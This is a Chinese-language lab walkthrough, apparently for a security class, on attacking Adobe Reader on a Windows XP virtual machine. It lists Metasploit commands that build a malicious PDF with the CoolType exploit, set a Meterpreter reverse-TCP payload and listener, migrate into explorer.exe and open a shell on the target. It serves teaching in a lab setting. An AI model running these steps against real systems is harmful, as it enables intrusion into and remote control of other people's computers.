Adobe阅读器渗透攻击
实验前准备
1、两台虚拟机，其中一台为kali，一台为windows xp sp3（老师给的xp虚拟机winxpAttaker，密码：mima1234）。
2、设置虚拟机网络为NAT模式，保证两台虚拟机可以ping通。
3、kali下打开显示隐藏文件，如下图，先打开主文件夹，在右上角打开如下图所示位置：
实验步骤：
1、在kali终端中开启msfconsole。
2、输入命令use exploit/windows/fileformat/adobe_cooltype_sing，进入该漏洞模块的使用。
3、使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷。
4、输入命令show options显示我们需要在攻击前需要设置的数据，如下图红框圈住的部分。
5、输入命令
set FILENAME xxx.pdf
set LHOST "KALI Ip"
set LPORT xxxx
并使用命令show options，看是否设置成功。
6、输入exploit,生成pdf文件，并可以看到pdf所在文件夹，将pdf复制到靶机里。
7、使用命令back退出当前模块，并使用use exploit/multi/handler新建一个监听模块。
8、使用set payload windows/meterpreter/reverse_tcp建立一个反向连接。如下图所示，我需要输入命令set LPORT 5555和攻击模块里的数据设置为一样的。
9、使用命令exploit开始攻击，在xp中打开pdf。这里pdf比较难打开，直接在kali中等结果就可以啦，如下图：
10、将进程迁移到explorer.exe.使用ps查看当前进程，并找到explorer.exe的进程号，如下图所示，使用命令migrate 1324
11、输入shell，查看xp靶机信息。
12、在靶机xp中使用命令netstat -an,看本地tcp连接。
